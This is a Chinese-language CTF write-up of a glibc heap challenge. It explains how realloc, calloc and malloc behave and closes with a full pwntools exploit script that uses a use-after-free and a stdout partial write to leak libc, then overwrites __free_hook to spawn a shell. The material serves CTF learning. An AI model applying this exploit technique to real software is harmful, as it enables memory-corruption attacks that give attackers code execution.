realloc save the world

prologue

之前的一题,队友当时解决的,感觉这题挺有趣的我就复现了一下。 attachment 因为是上周做的最近有点忙记不太清了..具体依照记忆来复述

analysis

[*] '/home/n132/Desktop/asterisk/asterisk'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开主要的问题是UAF,比较好玩的是题目结合了malloc,realloc,calloc.在做题前得了解一下三者特性…

malloc: 平时了解的最多就不说了.

calloc: 之前简单认为是malloc+memset为0,现在粗略看了看源码发现其实是_int_malloc+memset不是libc_malloc也就是说不走tcache..还有一点是他其实也是有hook的但是他没有单独的hook用的是__malloc_hook

realloc: 应该算是本题的主角了可以说本题前面两个都是打杂的,这题也让我知道了原来realloc可以干这么多的事情,我在下一小节中介绍.

realloc(ptr,size)

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3136

具体的就不详细说明了源码是最好的老师realloc_int_realloc看一遍基本就差不多了

从源码来看realloc主要会遇到以下情况(下面的说法是不严谨的主要为了便于理解)

  1. size==0 相当于 _libc_free (返回值是0)
  2. ptr=0 相当于 _libc_malloc
  3. chunk-expand 采用先看本chunk再看nextchunk都不行那就alloc+copy+free的策略
  4. chunk-shrink 直接切分.

所以本题中唯一可以清空指针的地方也就是realloc(ptr,0). 而malloc,realloc只能用一次. 然后我们在看本题是没有直接的泄漏点的要么partial-write 要么IO leak ···目前的经验来看大多情况下两者结合起来是最优解…

于是乎我们就要获得一个unsorted bin然后partial write指向stdout结构体之后改写之.

但是我们一共只有3个可用指针也就是说malloc/calloc只能用一次. 还有就是calloc不会从tcache上取chunk

但是要改写stdout我们至少需要2个chunk:

  1. 1个是最终控制stdout区域的 (后文中命名为1号)
  2. 第二个是拿掉bins链上最顶端的那个需要的(后文中命名为2号)

但是事实上我们还需要在这之前完成partial-write需要的3号 所以让我们现在分配一下任务. 首先是最灵活的realloc毫无疑问是是3号因为另外两者都只能用一次但是在泄漏后还有get_shell的重要任务所以只有最灵活的realloc可以担此大任 然后是calloc这个最辣鸡的…不可能是1号了因为如果他是1号会对内存memset为0那我们就没办法partial_write stduot了.所以2号calloc··1号malloc

此处还有个问题是calloc不会取tcache所以我们得做fastbin atk

所以我们的思路很清楚了

solution

  1. realloc乱七八糟一顿操作完成fastbin atk的布局
  2. calloc(0x68)拿掉fastbin[5]顶端那个
  3. malloc(0x68)改写stdout 造成泄漏
  4. realloc乱七八糟一顿操作控制__free_hook
  5. getshell

所以我们目前的关键就是乱七八糟一顿操作 oh.还有一点刚才忘记说了本题有个scanf("%d")可以直接召唤malloc_consolidate 那么我们怎么操作呢

经过我的尝试。我把上面乱七八糟一顿操作归结为如何造成overlap这个简单的问题. 过程我就不说了直接上结论如何使用realloc 完成任意地址写.

add(0x88+0x20+0x20)
add(0x88+0x20)
add(0x88)
add(0)
add(0x18)
for x in range(7):
    free()
add(0)
add(0x88)
cmd("1"*0x420)
add(0x88+0x20,"A"*0x88+p64(0x21)+p64('somewhere...'))

主要就是通过expand来完成.

这样以来这题的思路的每一个环节都被打通所以我们可以就有了如下exp

exp

概率为1/16

from pwn import *
#context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one = [0x4f2c5,0x4f322,0x10a38c]
def cmd(c):
	p.sendlineafter(": ",str(c))
def malloc(size,c="A"):
	cmd(1)
	cmd(size)
	p.sendafter(": ",c)
def calloc(size,c='A'):
	cmd(2)
	cmd(size)
	p.sendafter(": ",c)
def realloc(size,c="A"):
	cmd(3)
	cmd(size)
	if size!=0:
		p.sendafter(": ",c)
	else:
		p.readuntil(": ")
def free(idx):
	if idx ==0:
		c="m"
	elif idx==1:
		c='c'
	else:
		c='r'
	cmd(4)
	cmd(c)
p=process('./pwn')
#p=remote("buuoj.cn",28744)
realloc(0x68)
for x in range(7):
	free(2)
realloc(0)
realloc(0x68)
realloc(0x88+0x20)

realloc(0x88)
for x in range(7):
	free(2)
realloc(0)
realloc(0x88)

realloc(0x68,"\x1d\x07")
#gdb.attach(p)
calloc(0x68)
malloc(0x68,'\x00'*0x33+p64(0x1802)+'\x00'*0x19)
p.read(0x80)
base=u64(p.read(8))-(0x7ffff7dd0700-0x7ffff79e4000)
libc.address=base
log.warning(hex(base))
realloc(0x68,p64(0x7ffff7dcfca0-0x7ffff79e4000+base)*2)

realloc(0)
realloc(0x98+0x88)
realloc(0x98)
realloc(0)
realloc(0x88)
free(2)
realloc(0)
realloc(0x98)
realloc(0x98+0x88,'\x00'*0x98+p64(0x91)+p64(libc.sym['__free_hook']-8))
realloc(0)
realloc(0x88)
realloc(0x68)
realloc(0)
realloc(0x88,"/bin/sh\x00"+p64(libc.sym['system']))
#gdb.attach(p)
free(2)

p.interactive()
# set stdou to leak
# free_hook
0x000555555756030